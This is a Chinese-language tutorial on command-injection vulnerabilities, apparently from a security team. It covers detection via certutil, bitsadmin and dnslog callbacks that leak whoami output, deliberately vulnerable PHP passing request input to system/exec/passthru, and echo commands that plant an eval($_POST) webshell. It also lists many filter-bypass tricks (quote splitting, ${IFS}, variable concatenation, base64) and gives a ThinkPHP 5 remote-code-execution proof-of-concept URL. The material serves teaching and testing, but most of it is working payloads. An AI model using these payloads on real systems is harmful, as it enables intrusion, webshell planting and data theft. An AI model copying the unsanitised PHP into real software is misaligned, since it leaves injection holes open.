1.漏洞原因
网站在实现服务器管理、远程连接服务器、文件压缩、远程加载文件等功能时,往往会直接调用底层代码执行指定命令。
若开发者对这些功能点设计不足、对命令执行相关内容过滤不严,攻击者就可能拼接恶意命令执行,从而产生漏洞。
2.命令执行探测
- dnslog
- 请求http协议
请求http协议的方法
linux:
wget
curl
windows:
certutil.exe -urlcache -split -f http://IP地址 C:\
bitsadmin /transfer n http://IP地址 C:\
首先开启一个http服务,然后利用payload攻击。

在http服务器上查看结果,如果有记录证明漏洞存在。

3.PHP下常见的命令执行函数
system
system(data)
会将data当成底层命令执行,并直接回显结果。
<?php
$cmd=$_POST['cmd']; //接收前端cmd的值 array("cmd"=>"127.0.0.1")
echo "<pre>";
system("ping -n 1 $cmd");
echo "</pre>";
?>
<html>
<head>
<meta charset="utf-8"/>
</head>
<body>
<center>
<form action="system.php" method="POST">
<input type="text" name="cmd" value=/>
<input type="submit" name="submit" value="提交"/>
</form>
</center>
</body>
</html>
exec
exec(data)
将data当成底层命令执行,只返回最后一行结果,且需要单独输出。
<?php
$cmd=$_GET["cmd"];
exec($cmd);
echo exec($cmd);
?>
shell_exec
shell_exec(data)
执行底层命令,不会直接回显结果。
<?php
$cmd=$_GET["cmd"];
shell_exec($cmd);
echo shell_exec($cmd);
?>
passthru
passthru(data)
执行底层命令,直接回显结果。
<?php
$cmd=$_GET["cmd"];
passthru($cmd);
?>
反引号
<?php
echo `ipconfig`;
?>
其他
proc_open
popen
4.命令执行常用的拼接方式
(1) windows 下的特殊符号
-
|(管道符)
前面命令正常执行则执行后面命令,
前面命令不能正常执行则不执行后面命令,
只输出第二个命令结果。
-
&
无论前面命令是否正常执行,后面命令都执行,
前面命令有问题则不输出结果。
-
||(或)
前面命令能执行则不执行后面命令,
前面命令不能正常执行则执行后面命令,
两个结果都输出。
-
&&(并且)
前面命令能执行则后面命令也执行,
前面命令不能执行则后面命令也不执行。
(2)linux 下的特殊符号
-
|(管道符)
无论前面命令是否正常执行,后面命令都会执行。
-
&(后台运行)
无论前面命令是否正常执行,后面命令都执行。
-
||(或)
前面命令能执行则不执行后面命令
前面命令不能正常执行则执行后面命令。
-
&&(并且)
前面命令能执行则后面命令也执行,
前面命令不能执行则后面命令也不执行。
-
;(分号)
(3)各平台下如何利用命令执行漏洞写入webshell
通过
> 重定向
>> 追加内容
windows平台
echo命令:
echo "<?php phpinfo();?>" > file(自己指定的文件名)
echo "<?php @eval($_POST[cmd]);?>" > file(自己指定的文件名)
比如: echo "<?php phpinfo();?>" > info.php`
另外任何命令执行的结果只有能输出在命令行上也可以重定向
dir > file.txt #将命令执行结果重定向输出到指定的文件
注意:windows中的echo会输出引号,如果不想要引号,那么需要使用 ^ 对指定字符进行转义
echo ^<?php phpinfo();?^> >webshell.txt

linux平台
echo命令:
echo "<?php phpinfo();?>" > file(自己指定的文件名)
echo "<?php @eval(\$_POST[cmd])?>" > file(自己指定文件名)
linux的特性
关键字绕过
1. 单引号/双引号绕过:
c'a't ./flag
c"a"t ./flag
2. 反义符绕过:
c\a\t ./flag
3. 综合使用:
c\a\t ./fl'a'g
4. 替换命令绕过:
cat的替换
more:
一页一页的显示档案内容
命令执行示例:
more file #单行文件直接回显结果
less:
和more一样
命令执行示例:
less file #单行文件直接回显结果,但是会有交互
tac:
从最后一行开始显示,反向显示内容
命令执行示例:
tac file #读取文件内容,直接回显
head:
显示头部几行
命令执行示例:
head file #读取文件内容,只读取前几行
tail:
显示尾部的数据
命令执行示例:
tail file #读取文件内容,只读取文件后面几行
nl:
查看文件内容但是会回显行号
命令执行示例:
nl file #读取文件内容并显示行号
od:
以二进制形式回显数据
od -c file 以二进制形式回显数据,会显示原本文件内容
sort:
文件排序,但是会显示文件内容
命令执行示例:sort file #读取文件内容,会显示原本文件内容
bash:
bash -v file #利用命令报错回显文本内容
uniq:文件内容去重复,但是会显示去重后的数据
uniq -c file #显示文件内容
file -f:
file -f file 利用文件打开错误回显对应的数据
rev file:
rev将文件内容逆向输出,反向显示结果

空格替换
${IFS}
使用示例:
c'a't${IFS}./flag
%09
${IFS}$9
使用示例:
c'a't${IFS}$9./flag
{}加, 分隔
使用示例:
{cat,./flag}
5. 变量拼接绕过
127.0.0.1;a=c;b=at;$a$b ./file #变量拼接读取
6. 正则表达式的绕过
127.0.0.1|c'a't ./f??g #模糊匹配文件
7. 括号绕过
127.0.0.1|c'a't ./2.[t]xt
echo $(ls)
8. 空变量绕过
127.0.0.1 | c$*a$*t ./flag
127.0.0.1 | c$@a$@t ./flag
127.0.0.1 | c$xa$xt ./flag
127.0.0.1 | c${x}a${x}t ./flag
9. 反单引号执行
"echo ls"
10.base64编码绕过执行
`echo Y2F0== | base64 -d ./flag`
11. 命令执行无回显绕过
pingwhoami.5q5s75.dnslog.cn
127.0.0.1 | ping -c 3whoami.5q5s75.dnslog.cn
file.zip | ping -c 3whoami.5q5s75.dnslog.cn
6.命令执行漏洞的实例
Thinkphp5.0.22/5.1.29远程代码执行漏洞
POC
index.php? s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars [1][]=ls

作者:晨星安全团队——谁来剪月光

